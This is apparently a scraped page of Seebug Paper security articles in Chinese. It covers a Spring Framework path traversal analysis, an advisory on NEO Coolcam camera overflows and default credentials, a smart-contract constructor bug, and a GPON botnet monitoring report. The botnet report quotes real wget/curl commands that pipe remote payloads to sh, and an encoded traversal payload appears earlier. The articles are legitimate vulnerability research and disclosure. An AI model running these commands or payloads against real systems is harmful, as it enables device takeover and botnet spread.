    跟进PathResourceResolverresolveResourceInternal

    进入到org.springframework.web.servlet.resource.PathResourceResolvergetResource()

    此时的resourcePath就是之前的pathlocation就是之前getLocations()获取到的值。继续跟进this.getResource

    调用location.createRelativ拼接得到文件的绝对路径,返回一个UrlResource对象

    返回到getResource函数

    此时,resource是一个UrlResource对象,可以看到值是file:src/main/resources/%5c%5c..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/windows/win.ini,之后调用exists()方法检查该文件是否存在,调用isReadable()方法检测该文件是否可读。进去exists()方法

    这里会调用isFileURLurl进行判断,是否以file://协议来读取文件,这也是为什么配置静态目录的时候要使用file://协议。

    通过判断之后,会调用this.getFile()来获取这个文件对象,这个方法在org.springframework.util.ResourceUtils这个方法类里面,跟进

    这里对是否为file://协议又判断了一次,之后进行了一步最重要的操作new File(toURI(resourceUrl).getSchemeSpecificPart());,将resourceUrl转换为URL对象,最后调用URI类的getSchemeSpecificPart()获取到文件路径,而在getSchemeSpecificPart()里面是有一次decode操作的,也就是在这里把%5c解码成了\,跟进

    最后返回到exists(),最终返回true,即文件存在

    之后调用isReadable()方法检测该文件是否可读的时候,同样会调用这个getFile,最终返回true,即文件可读。

    至此,对于resource的判断都结束了。返回到org.springframework.web.servlet.resource.ResourceHttpRequestHandler:handleRequest(),获取到通过校验resource的之后,就开始准备response的内容了,包含获取文件的类型(用于response的Content-type),文件的大小(用于response的Content-length)等等,最后调用this.resourceHttpMessageConverter.write(resource, mediaType, outputMessage);获取文件的内容并返回给用户。

    跟进write()

    跟进writeInternal,之后再跳到writeContent

    跟进resource.getInputSream()

    可以看到,这里使用openConnection创建一个URLConnection实例,也是在openConnection方法内,会自动decode,把%5c解码成\,然后返回文件的InputStream对象,最终读取内容返回给用户。

    注意事项

    1. 这个漏洞是可以在 Tomcat 下触发的,因为payload的双URL编码的。
    2. 在Spring Framework 大于5.0.1的版本(我的测试环境5.0.4),双URL编码payload是不行的,单次URL编码的payload的却是可以的,这种情况下该漏洞就无法在Tomcat下触发了,因为在默认情况下Tomcat遇到包含%2f(/)%5c(\)的URL直接http 400,在 jetty 下是可以触发的。

    至于为什么双URL编码不行,是因为org.springframework.web.servlet.resource.PathResourceResolvergetResource()多了一个encode操作。

    如果是双URL编码payload的进来,在获取path的时候解码一次,经过一次isInvalidPath判断,然后进入到PathResourceResolvergetResource(),也就是上图的位置,这里又会重新编码一次,又回到了双编码的情况了。最后在文件判断是否存在exists()方法的时候,getSchemeSpecificPart()只能解码一次,之后是无法读取到文件的,也就是文件不存在。

    所以这里要使用单次编码才行。

    补丁分析

    看官方的补丁,是在ResourceHttpRequestHandlergetResource()里面把processPath重写了

    在进入isInvalidPath之前调用processPath函数对path处理,替换反斜线为斜线,删掉多余斜线,从而导致在isInvalidPath里面校验不通过。如果使用双编码方式的话,会经过isInvalidEncodedPath,里面会先对path解码,然后调用processPath处理,最后经过isInvalidPath,同样无法通过检查。

    漏洞修复

    • Spring Framework 5.*(5.0到5.0.4)版本,建议更新到5.0.5版本
    • Spring Framework 4.3.*(4.3到4.3.14)版本,建议更新到4.3.15版本
    • 不再受支持的旧版本,建议更新到4.3.15版本或5.0.5版本

    参考链接


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/665/

    作者:Nanako | Categories:安全研究漏洞通告 | Tags:
  • 酷视(NEO Coolcam)网络摄像头登录绕过及多个基于堆栈溢出的远程代码执行漏洞及数据分析报告

    2018-08-29

    作者:知道创宇404实验室
    时间:2018年7月16日
    英文版:https://paper.seebug.org/652

    1. 事件概述

    深圳市丽欧电子有限公司(NEO Coolcam,以下简称酷视)[1],是一家集网络数码产品研发、生产、营销于一体的高新技术企业,是国内最早进入网络摄像头领域的专业厂商之一。2004年成立国内摄像头研发中心,并取得多项国家专利,产品通过了国家质量检测部门的认证和CE、FCC等国际标准认证。

    早在2017年08月02日,Bitdefender公司的安全研究人员就指出酷视旗下的高清网络摄像头NIP-22和Wi-Fi门铃iDoorbell等设备存在多个缓冲区溢出漏洞,十几万暴漏在公网上的相关设备受到潜在的安全威胁,并提供了相关研究报告[2]。2017年9月左右,我们观察到酷视的英文版官网上发布了最新的固件[3],修复了溢出漏洞。

    2018年07月10日,在后续的对网络空间上易受漏洞影响的物联网设备的风险评估中,我们通过ZoomEye网络空间搜索引擎对相关漏洞设备进行搜索,共发现了65万的IP历史记录,其中在中国含该漏洞的设备数量最多,约为16.7万。此外,我们还有以下发现:

    • 从酷视官方发布更新版固件到本文发布约一年的时间里,大部分设备依然没有安装更新版固件。原因有以下几点:1、目标设备本身不具有自动升级机制;2、普通用户不会意识到存在漏洞并手动更新固件;3、更新版固件只发布在英文版官网中;4、其他OEM厂商生产的设备也存在该漏洞。
    • 在目标设备的固件审计过程中,我们发现了登录绕过漏洞,相关细节将在下面的章节中呈现。

    这意味着还有很大数量的目标设备处于风险之中。知道创宇404实验室对酷视NIP-22FX这款摄像头的系列缓冲区溢出漏洞进行了深入研究,并成功从缓冲区溢出到远程代码执行,证实了该漏洞有被黑产利用的潜在风险。同时审计过程中发现了登录绕过漏洞,对用户隐私也是个严重的威胁。

    2.漏洞分析

    2.1 目标设备的相关信息

    设备版本:NeoCoolcam IPCam NIP-22FX
    漏洞二进制文件:MD5 (ipc_server) = 312d924344364620d85099ed279a5f03
    固件版本:V7.7.4.1.1-20160701

    提供Web服务和RTSP服务的主程序为 ipc_server文件,目标系统为ARM、32位小端架构。

    缓冲区溢出缓解措施为全部关闭状态。

    2.2 登录绕过漏洞

    摄像头 Web 服务基于 HTTP 基本认证,存在三组默认凭证,三组凭证对应不同的权限等级,安装时 APP 只会提醒修改 admin 账户的默认密码。三组默认凭证及对用的操作如下:

    1. admin:admin,
    2. user:user;
    3. guest:guest;

    值得一提的是,user 账户和 guest 账户也可以查看视频流,大部分用户不会修改这些账户的默认密码,导致隐私泄漏。

    2.3 Web 服务基于缓冲区溢出的远程代码执行漏洞(无需认证)

    2.3.1 漏洞细节分析

    该溢出点位于地址 0x0007DE80 附近,该函数的处理逻辑是调用libs_parsedata函数解析URL中的usr和pwd,并将其分别存储到本函数栈帧的两块缓冲区中。

    libs_parsedata函数的原型为:

    接受6个参数,从左往右依次为a1:原字符串,a2:原串的长度,needle:匹配待截取字符串的开头,a4:用来截取字符串的分隔符,a6:存储截取后字符串的目标缓冲区。

    该函数的处理逻辑为:使用needle字符串和分隔符a4截取原字符串a1,截取后通过strncpy()函数将截取后的串写入a6所指的缓冲区中,写入的长度为截取字符串的长度,最后写入一个字节’\x00’。由于GET参数长度可控,当攻击者输入超出缓冲区长度的usr或pwd值时,会使缓冲区溢出。

    2.3.2 漏洞利用分析

    二进制文件ipc_server的缓冲区溢出措施皆为关闭状态,利用该缓冲区溢出漏洞的难度很低。利用过程中需要考虑到规避空白符、&、\x00等坏字符,空白符可用 ${IFS} 替代。

    在ipc_server的0x0004E4D8地址处含有如下代码:

    攻击者只需让返回地址指向地址0x0004E4D8,返回地址之后紧跟待执行的命令,即可成功从缓冲区溢出到远程代码执行。由于libs_parsedata函数会在字符串末尾写入一个\x00,可以同时利用两个溢出漏洞分别写入返回地址和待执行命令。

    目标系统不含curl、nc、wget等命令,可将命令执行结果重定向之Web目录,之后访问HTTP接口即可获取执行结果。如果攻击者和摄像头在同一个网络环境,攻击者也可能开启目标系统的telnetd服务,实现对漏洞设备的完全控制。因为目标设备的文件系统以读写方式挂载,有被攻击者恶意篡改的风险。

    在NIP-22FX上的复现结果如下:

    2.3.3 补丁分析

    在最新版的固件(V7.7.4.1.1-20170828)中,libs_parsedata函数加入了第七个参数,用以控制写入目标缓冲区的长度。

    2.4 RTSP 服务基于缓冲区溢出的远程代码执行漏洞(无需认证)

    2.4.1 漏洞细节分析

    该溢出点位于地址0x006C6D4处,利用 sscanf 函数匹配 RTSP Header 中 Authorization: Digest key="value" 中的key和value两部分内容并将之存到本函数堆栈,没有检查这两部分的长度,导致堆栈溢出。

    2.4.2 漏洞利用分析

    该漏洞的利用和2.3.2节中Web服务的缓冲区溢出漏洞利用方法一致,攻击者可利用两个溢出漏洞分别写入待执行的命令和返回地址,很容易的从缓冲区溢出提升到远程代码执行。

    在NIP-22FX的复现结果如下,成功利用RTSP服务的缓冲区溢出开启了目标系统的telnetd服务。

    2.4.3 补丁分析

    在最新版的固件(V7.7.4.1.1-20170828)中,sscanf 的正则匹配表达式中加入了长度限制,最长为255字节,而缓冲区距离栈底为296字节,无法覆盖返回地址。

    3. 漏洞影响范围

    我们通过提取酷视NIP-22高清摄像头设备相关的“关键词”,在ZoomEye网络空间搜索引擎[4]上共发现了651,780个 IP历史数据。

    我们通过对 ZoomEye 网络空间搜索引擎 "Error: username or password error,please input again." 这个关键词得到的651,780条IP历史记录进行确认,发现其中58,413台设备仍然存活。

    存活设备国家分布如下,可以看出这些漏洞设备主要分布在韩国、美国、中国等国家。由于中国的网络IP变化快,在中国的相关存活设备数量实际上不止5,878台。

    存活设备在中国的省份分布如下,主要分布在香港,其次是台湾,ZoomEye网络空间搜索引擎上中国大陆地区的历史IP数据基本都已失效。

    对以上存活的设备进行进一步统计分析,发现大部分设备均至少存在一种默认凭证。由此可见酷视高清摄像头设备普遍存在默认凭证,攻击者可使用默认凭证访问摄像头的视频流,有较大的隐私泄漏风险。值得一提的是,存活的设备中也有很多存在 admin:admin 默认凭证,攻击者可获得管理员身份,并可能通过上传精心制作的设备固件完全接管目标设备。

    在对受漏洞影响的设备进行数据分析的过程中,我们发现存在大量设备是贴牌销售,设备固件存在极大的同源性,有的两个不同厂商之间的设备仅仅是换了个LOGO。

    通过设备页面 ”/web/mainpage.html” 内容的md5值对不同OEM厂商进行区分,统计结果如下:

    除了默认凭证问题,酷视高清摄像头NIP-22还存在无需认证的Web服务及RTSP服务缓冲区溢出漏洞,该溢出漏洞的利用难度很低,攻击者可基于此溢出漏洞远程执行任意命令。溢出发生后,watchdog进程会重启整个系统,攻击者也可利用这点使摄像头拒绝服务。由于固件的同源性,这两个溢出漏洞也有很大可能存在于其他OEM厂商生产的设备中。

    4. 漏洞修复建议

    4.1 对用户的修复建议

    为避免隐私泄漏,建议用户尽快修复系列漏洞。

    首先,用户可登录摄像头Web管理系统,在以下页面中修改三组默认凭证的用户名和密码。

    其次,如果是酷视的设备,建议从酷视官网下载对应设备的最新版固件[3],并手动更新,以修复两个溢出漏洞。如果是其他OEM厂商的设备,可以尝试和厂商联系获取更新固件,并将设备同公网隔离。

    4.2 对厂商的修复建议

    由于这系列漏洞影响国内外几十个OEM厂商,请上表中可能存在漏洞的厂商自查,及时发布补丁固件并通知用户更新设备固件。

    5. 总结

    1. 存活设备中大部分以上都存在默认凭证,对于用户的隐私是个极大的威胁,用户应及时修改默认密码。
    2. 这系列漏洞还可能影响国内外几十个OEM厂商。嵌入式设备固件开发过程中一般都会使用第三方的开源工具或通用软件,这些通用软件又通常由某一特定厂商研发,这就导致很多设备固件存在同源性,不同品牌的设备可能运行相同或者类似的固件以及包含相同的第三方库。漏洞曝出后,由于影响厂商众多,而并不是所有厂商都会发布漏洞补丁,这就导致网络空间上大量漏洞设备无法修复漏洞。
    3. 近年来,路由器、摄像头、摄像机、NAS、智能穿戴设备等 IOT 设备的安全漏洞层出不穷,伴随着越来越多的嵌入式设备连入网络,总体安全形势日益突出,用户的个人隐私受到严重的威胁。一方面,厂商及开发者应不断提高自主研发设备的安全性。另一方面,漏洞是不可避免的。对于用户,应该努力提高自己的安全意识,尽量避免将此类设备直接暴露在网络空间上。对于各 IOT 厂商,针对目前安全漏洞曝出越来越频繁,及时修复漏洞,对产品提供自动升级机制是行之有效的方法。

    6. 相关链接

    [1] NEO Coolcam 官网
    http://www.szneo.com/
    [2] Bitdefender漏洞公告
    https://www.bitdefender.com/box/blog/ip-cameras-vulnerabilities/neo-coolcams-not-cool-buffer-overflow/
    [3] 官方更新固件下载地址
    http://szneo.com/en/service/index.php
    [4] ZoomEye网络空间探测引擎
    https://www.zoomeye.org/searchResult?q=%22Error%3A%20username%20or%20password%20error%2Cplease%20input%20again.%22


    Paper

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/653/

    作者:Nanako | Categories:安全研究漏洞通告 | Tags:
  • 从以太坊”MorphToken事件”看智能合约构造函数大小写编码错误漏洞

    2018-08-28

    作者:fenix@知道创宇404区块链安全研究团队
    时间:2018年6月22日

    一、漏洞概述

    以太坊智能合约的含义就是一组代码(函数)和数据(合约的状态),它们位于以太坊区块链的一个特定地址上。智能合约一般使用solidity语言编写。

    Morpheus Network与世界上一些大型航运、海关和银行公司协商,通过利用区块链的智能合约技术建立一个全面服务的、全球性的、自动化的、开放的供应链平台和一个集成的加密货币支付系统 ,发布基于以太坊的 MorphToken

    2018年6月22日,Morpheus Network 发公告称将发布新的智能合约,以更新目前含有漏洞的合约代码。新的Token名称为MRPH,新旧Token以1:1兑换。

    随后,知道创宇404区块链安全研究团队开始漏洞应急,通过分析MorphToken合约代码和交易历史,确定该漏洞是由于大小写编码问题,错误的将Owned合约的构造函数Owned的首字母小写,使之成为了一个普通函数owned,任何以太坊账户均可调用该函数夺取合约的所有权,进一步实现盗币等系列非法操作。随即我们发布了相关应急报告,同时我们也注意到BCSEC安全团队发布了相关的分析文档

    在后续的研究中,我们发现早在2017年8月29日,Github上就有人提到了这种因构造函数缺失导致的合约安全漏洞问题。该漏洞目前影响包括MorphToken、B2X、DoubleOrNothingImpl等多个智能合约。

    二、漏洞原理

    在MorphToken的合约代码里:https://etherscan.io/address/0x2ef27bf41236bd859a95209e17a43fbd26851f92#code 可以明显的看到相关大小写编写错误:

    以太坊智能合约中的构造函数主要用于初始化,如:确定合约的所有者,并且只会在合约部署时运行。在小于0.4.22版本的solidify编译器语法要求中,构造函数的名称应该和合约名称保持一致。如果程序员在编写合约时将构造函数名称写错,那么原本的构造函数将成为任何人都可以调用的普通函数。漏洞示例代码及在Remix-ide中的复现结果如下:

    0x01 漏洞合约部署

    下图中,Bank合约继承自Owned合约。在Owned合约中,由于错误的编码,将构造函数名称写错,owned函数成为了一个普通函数。可以看到,Bank合约部署后,由于缺少构造函数,初始化时owner为0x0000000000000000000000000000000000000000。

    0x02 漏洞现场还原

    任何以太坊账户都可以调用Bank合约继承自Owned合约的owned函数,更改Bank合约的owner变量,从而使合约所有权发生转移。

    如下如所示,0x14723a09acff6d2a60dcdf7aa4aff308fddc160c这个账户调用了Bank合约的owned函数后,可以看到Bank合约的owner变成了0x14723a09acff6d2a60dcdf7aa4aff308fddc160c。同理,攻击者也可以利用这个漏洞提权,实施一系列恶意操作。

    三、漏洞影响评估

    我们使用内部的以太坊智能合约审计系统对以太坊主链上所有30000+公开智能合约进行了自动化审计,确认受该大小写编码漏洞影响的共计16个,以下为统计结果:

    (受漏洞影响程度取决于合约的逻辑,具体代码审计结果可联系知道创宇404区块链安全研究团队)

    理论上在合约部署后,由于编码错误引起的构造函数缺失,owner默认值会变为0x0000000000000000000000000000000000000000,这样合约中涉及到owner的函数调用都会异常,合约所有者应该能及时发现漏洞才是。然而MorphToken这种市值几百万美金的代币,因为合约存在这个编码漏洞而被盗币。通过分析Morph Token源代码,我们得到了答案。MorphToken继承了Owned合约,但是自己实现了构造函数。就是说,是父合约向外留了一个“后门”。

    另一种情况,如果合约中没有涉及owner权限的函数调用,那么即使攻击者盗取了合约所有权,也没有任何用处。上表B2X合约中就是这种情况。

    总体来说,受漏洞影响的合约数量不多,属于被MorphToken带着“火”了一把的漏洞。

    事实上,很多安全漏洞都来源于程序员的粗心编码,智能合约这种部署后即不可更改的更应加强代码审计。

    四、防护方案

    1、0.4.22版本以后的solidity编译器引入了constructors关键字,以替代低版本的将合约名作为构造函数名的语法,从而避免程序员编码错误。强烈建议采用最新版本编译器。

    2、技术业务咨询

    知道创宇404区块链安全研究团队:http://www.scanv.com/lca/index.html
    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:

    五、相关链接

    [1] Morpheus 官网
    https://morpheus.network/
    [2] 官方公告
    https://medium.com/@themorpheus/new-morpheus-network-token-smart-contract-91b80dbc7655
    [3] 以太坊主链智能合约
    https://etherscan.io/contractsVerified
    [4] 合约构造函数缺失漏洞示例
    https://github.com/trailofbits/not-so-smart-contracts/blob/master/missing_constructor/Missing.sol
    [5] 漏洞详情参考
    https://bcsec.org/index/detail?id=157&tag=1

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/630/

     

    作者:Nanako | Categories:安全研究漏洞通告 | Tags:
  • GPON Home Gateway 远程命令执行漏洞被利用情况

    2018-08-28

    作者:知道创宇404实验室
    日期:2018/05/10

    2018/05/07,ZoomEye Dork(文末有彩蛋)中heige吟诗一首(作者:卞之琳):
    断章
    你在桥上看风景,
    看风景人在楼上看你。
    明月装饰了你的窗子,
    你装饰了别人的梦。
    殊不知在GPON Home Gateway远程命令执行漏洞被利用的过程中亦是如此。

    0x00前言

    一. 漏洞详情

    2018/04/30,vpnMentor公布了 GPON 路由器的高危漏洞:验证绕过漏洞(CVE-2018-10561)和命令注入漏洞(CVE-2018-10562)。由于只需要发送一个请求,就可以在 GPON路由器 上执行任意命令,所以在上一篇文章《GPON Home Gateway 远程命令执行漏洞分析》,我们给出了僵尸网络的相关预警。

    结合ZoomEye网络空间搜索引擎以及对漏洞原理的详细研究,我们对GPON Home Gateway远程命令执行漏洞被利用情况进行了深入的研究,意外地发现利用该漏洞的僵尸网络是可以被监控的。

    短短的四天时间内,这片路由器的战场,竞争、撤退、消亡时时刻刻都在上演,在每一个路由器的背后,每天都有着多个不同的恶意控制者,故事精彩得难以想象。

    二. 检测原理

    漏洞发现者给出的利用脚本如下:

    该脚本逻辑如下:

    步骤1(行5):将注入的命令发送至/GponForm/diag_Form并被执行。

    步骤2(行9):利用绕过漏洞访问diag.html页面获取命令执行的结果。

    关键点在第二步:

    当我们不使用grep diag_result去过滤返回的结果,将会发现部分路由器会将diag_host也一并返回。而参数diag_host就是步骤1中注入的命令。

    这就意味着,通过ZoomEye网络空间搜索引擎,我们可以监控互联网上相关路由器的diag.html页面,从而了解僵尸网络的活动情况。

     

    0x01 被利用情况

    ZoomEye网络空间搜索引擎在2018/05/052018/05/072018/05/08进行了三次探测,一共发现了与僵尸网络相关的命令 12处。

    一. 被利用情况总览

    二. 详细介绍

    1. Mirai变种僵尸网络 THANOS

    这是一个在我们研究前撤退、研究时重新归来的僵尸网络
    使用的感染命令如下:
    编号1 busybox wget http://104.243.44.250/mips -O /tmp/m
    编号10 busybox wget http://82.202.166.101/mips -O -

    1.1 104.243.44.250 样本

    在我们发现相关攻击痕迹时,样本已无法下载。看起来就像始作俑者已经撤退。

    但是我们仍然从路由器上运行的样本中了解到该僵尸网络的行为:

    • 当前进程

    • 网络连接情况

    • CNC
      82.202.166.101:45,2018/05/05未连接成功(2018/05/09发现该CNC重新打开)

    由于该恶意样本拥有生成随机进程名、对外爆破23端口等特征,故可能是Mirai僵尸网络或其变种。

    1.2 82.202.166.101 样本

    2018/05/07,我们发现了少量该样本的感染痕迹,通过进一步研究,我们认为该僵尸网络已经回归。 由于该样本直接在 1.1 中的 CNC 主机上传播,运行时依旧会生成随机进程名,对外爆破23端口,故我们将两者归为同一僵尸网络家族。

    • 新的CNC
      185.232.65.169:8080

    新的 CNC 上线包如下

    根据这个上线包,我们将该僵尸网络称为 Mirai变种僵尸网络 THANOS

    2. Q bot僵尸网络变种

    这是一个持续存在的僵尸网络,在我们三次探测中均有出现。预计感染了大量设备。
    使用的感染命令如下:
    编号2 busybox wget http://185.244.25.162/mips -O /tmp/.m
    编号7 busybox wget http://58.215.144.205/mips -O /tmp/.q
    编号12 busybox wget http://58.215.144.205/mips -O /tmp/adj

    2.1 185.244.25.162 样本

    该恶意样本属于 MIPS 架构,使用 UPX 加壳。在脱壳对其进行逆向的过程中,我们意外发现了与该样本相关的源码:https://darknetleaks.xyz/archive/botnetfiles/Qbot%20Sources/Hacker%20serverside&clientside/client.c

    但该样本和源码依然有很多地方不同:

    • 对外扫描的IP段不同,样本中对外扫描的IP段如下:

    该样本在对外扫描时,只会扫描表格中的这些IP

    • kill别的bot的列表

    该样本会检测路由器中已有的进程,如果遇到下列可能属于其它僵尸网络的进程,将会进行 kill 操作(匹配的关键词远比源码中的丰富)

    该样本的 CNC 为: 185.33.145.92:252,该 CNC 依旧处于活跃状态

    需要注意的是

    利用脚本如下:

    2.2 58.215.144.205 样本(2018/05/07 版本)

    该样本的感染逻辑没有太大变化, CNC 与上文相同,为: 185.33.145.92:252,所以我们认为这与上文同属于 Q bot僵尸网络家族的变种。

    2.3 58.215.144.205 样本(2018/05/08 版本)

    2018/05/0858.215.144.205/mips更新了相关的样本。通过逆向的结果看,新的样本与之前的逻辑完全不同,恶意控制者更换了控制的程序。

    新的样本看起来更像是 Mirai 僵尸网络的新变种,具体的感染细节我们仍在持续跟进中。

    该样本的CNC为 linuxusaarm.com:443

    3. Muhstik 僵尸网络

    2018/04/20,360netlab曝光了一个长期存在的僵尸网络:Muhstik僵尸网络。在本次漏洞事件中,我们也发现了大量 Muhstik僵尸网络的身影。
    该僵尸网络使用的感染命令如下:
    编号3 wget -qO - http://162.243.211.204/gpon|sh
    编号4 wget -qO - http://162.243.211.204/aio|sh
    编号5 wget -O /tmp/par http://162.243.211.204/mrt; chmod x /tmp/ping
    编号8 wget -qO - http://54.39.23.28/1sh | sh
    编号9 wget -qO - http://104.54.236.173/gpon | sh

    由于该僵尸网络样本众多,多条命令有多次重复感染。故我们通过下图展示各样本和各IP的联系:

    图中红点代表各IP,灰点代表感染的bash脚本,黄点代表各恶意样本,蓝点代表出现的链接,红线代表从bash脚本中下载的样本

    • 各感染脚本如下:
    • 各样本sha256值如下:
    • CNC
      192.99.71.250:9090

    4. 未知样本1

    该样本使用的感染命令如下:
    编号6 curl -fsSL http://ztccds.freesfocss.com/test.txt | sh

    该样本会连接 ztccds.freesfocss.com:23364,样本具体功能仍在研究中。

    5. 未知样本2

    该样本使用的感染命令如下:
    编号11 busybox wget http://185.246.152.173/omni -O /tmp/talk
    该样本运行的命令为 /tmp/talk gpon

    该样本会连接185.246.152.173:1000,但该端口已经关闭(2018/05/09)。

     

    0x02 受影响主机范围

    注:由于仅探测了diag.html页面,故在多轮探测中我们只能确定哪些主机被攻击,无法判断攻击者是否攻击成功

    一. 探测到的主机均集中在墨西哥

    在对探测到的主机进行地域划分时,三轮探测中被攻击的IP都位于墨西哥。
    对受影响最多的五个国家进行抽样测试,结果如下:

    该漏洞存在与墨西哥和哈萨克斯坦,但是由于固件不同,只有墨西哥的路由器会返回diag_host,所以我们仅监测到墨西哥的路由器受影响情况。

    由于墨西哥的设备占据了全球设备的一半以上,我们认为相关数据依旧可以反应僵尸网络的实际情况。

    二. 受攻击的路由器执行的命令情况

    由于2018/05/05第一轮探测中只统计了存在/tmp字段的diag_host的内容,所以第一轮探测的数据具有一定的局限性。

    可以很明显看出:

    1. 确认被攻击的路由器数量在不断增加
    2. 各僵尸网络活动频繁,2018/05/07 Muhstik 僵尸网络发动大量攻击,而2018/05/08就变成了 Q bot僵尸网络变种。僵尸网络之间的竞争可见一斑。

     

    0x03 结语

    近年来,僵尸网络逐渐盯上攻击简单但危害巨大的物联网漏洞。从去年的GoAhead到今年的GPON事件,无不在提醒我们物联网安全的重要性。能结合ZoomEye网络空间搜索引擎了解到GPON事件背后活跃的僵尸网络动态,对我们来说就是一种收获。

     

    附录

    关于ZoomEye Dork,欢迎加入小密圈(免费):

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/595/

     

    作者:Nanako | Categories:安全研究漏洞通告 | Tags: